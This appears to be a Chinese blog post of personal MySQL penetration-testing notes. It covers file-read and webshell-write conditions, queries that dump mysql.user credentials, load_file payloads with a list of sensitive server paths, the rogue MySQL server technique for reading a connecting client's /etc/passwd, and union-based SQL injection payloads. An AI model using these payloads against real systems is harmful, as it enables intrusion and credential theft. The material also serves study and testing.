个人MYSQL总结及收集

Mysql 基础

MySQL 5.0以上版本存在一个存储着数据库信息的信息数据库–INFORMATION_SCHEMA ,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。
而5.0以下没有。

MySQL 5.6.34版本以后的secure_file_priv参数默认值为NULL 或者指定的/var/lib/mysql-files
secure_file_priv支持web目录文件导出,才能union写Webshell。
该配置只能在my.ini中修改,

secure_file_priv如果为/var/lib/mysql-files/
说明只能在/var/lib/mysql-files/目录下执行导入和导出

sqlmap返回的version
如下所示version sqlmap显示的和实际读取的不一样,他显示的大于等于,千万别无视了那个大于。
image.png

**select user,password from mysql.user; **查找mysql的用户名密码
**select @@plugin_dir ** 查看plugin_dir路径
**select @@basedir ** 查看MYSQL系统的安装路径
**show variables like ‘%compile%’ ** 查看PC是什么系统
length(str) : 返回字符串str的长度
substr(str, pos, len) : 将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len) :跟上面的一样,截取字符串
ascii(str) :返回字符串str的最左面字符的ASCII代码值
ord(str) :将字符或布尔类型转成ascll码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0

mysql堆叠注入的前提:

在PHP中使用到了 mysqli_multi_query()这个函数来进行sql语句的查询
image.png

读取文件比如要如下返回大于0 ,否则报错就是权限不够。
select count(*) from mysql.user

mysql读取文件

如果secure_file_priv 系统变量设置为非空目录名,则要加载的文件必须位于该目录中。

select load_file(‘C:/Windows/System32/drivers/etc/hosts’);
433a2f57696e646f77732f53797374656d33322f647269766572732f6574632f686f737473
image.png
select load_file(0x433a2f57696e646f77732f53797374656d33322f647269766572732f6574632f686f737473);
image.png

root权限和普通创造的用户 读取文件的对比,默认是无法读取文件的
image.png

https://github.com/3had0w/Fuzzing-Dicts。这里有读取文件的字典

/etc/hosts
/etc/apache2/apache2.conf
/etc/httpd/conf/httpd.conf
/etc/udev/rules.d/70-persistent-net.rules         //获取网卡名称
/etc/network/interfaces                           //DHCP或静态IP
/var/lib/dhclient/dhclient--网卡.lease            //DHCP
/etc/sysconfig/network-scripts/ifcfg-网卡         //静态IP
C:/Windows/System32/drivers/etc/hosts
C:/Windows/system32/inetsrv/MetaBase.xml
C:/Windows/System32/inetsrv/config/applicationHost.config
C:/phpStudy/Apache/conf/httpd.conf
C:/phpStudy/Apache/conf/vhosts.conf
C:/phpStudy/PHPTutorial/Apache/conf/httpd.conf
C:/phpStudy/PHPTutorial/Apache/conf/vhosts.conf
C:/phpStudy/PHPTutorial/nginx/conf/nginx.conf
C:/phpStudy/PHPTutorial/nginx/conf/vhosts.conf

MYSQL伪造客户端读取文件

主要是因为在使用load data函数的时候客户端会向服务端发起请求,而请求与请求直接是没有建立直接联系的,这也就造成了可以被服务端进行欺骗。
**将本地test.csv 写入TestTable表里 **load data local infile “/data/test.csv” into table TestTable;


1.问候MySQL客户端
2.等待查询包(03)
3.回答本地数据文件请求tcp option(01 01 08 0a 58 77 5b a8 e9 1f b7 2d)。
前三个字节是数据包的大小(0b 00 00)。
接下来的1个字节是数据包编号(01)。下一个字节是数据包类型(fb),然后是文件名(2f 65 74 63 2f 70 61 73 77 64 /etc/hosts)。主要是数据包的类型字段fb,要求连接的主机将本地文件进行发送。

利用条件
1、可以让客户端连接自己的特殊构造的服务端
2、即连接IP,端口,密码可控(类似于cms安装时指定的mysql数据库那样)
https://github.com/Gifts/Rogue-MySql-Server
修改读取文件路径,直接python2运行脚本,会直接监听一个3306端口
image.png
image.png

https://github.com/fnmsd/MySQL_Fake_Server
读取文件部分:可以使用user字段的fileread_/xxxx/xxxx来任意读取文件
user:fileread_/etc/passwd_clear
passwd可以随便
如果使用了Navicat插件可以在后面添加_clear,例如 fileread_/etc/passwd_clear

如果只是发送了一个心跳检测存活的话也是不行的,必须要有后续的操作
image.png

因此甚至可以当成一个ssrf使用
jdk1.8u20下URL支持协议:http/https/ftp/file/jar/mailto/netdoc(可在sun.net.www.protocol中看到)

1、MYSQL联合查询

联合查询的七个标准步骤

  1. order by 确认列数。
  2. 观察页面回显,选择合适的字段位置进行下一步注入。
  3. 查基本信息 (database () 数据库名、version () 数据库版本、user () 用户名)
  4. 查库
  5. 查表
  6. 查字段
  7. 查数据

1、查库
select * from ins_user where user_id=1 union select 1,2,database(),4--
**2、查询数据表: **
select * from ins_user where user_id=1 union select 1,2, group_concat(0x7e,table_name),4 from information_schema.tables  where table_schema=‘test
image.png
**3、查询表中的列: **
select * from ins_user where user_id=-1 union select 1,2, group_concat(0x7e,column_name),4 from information

  • 22
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值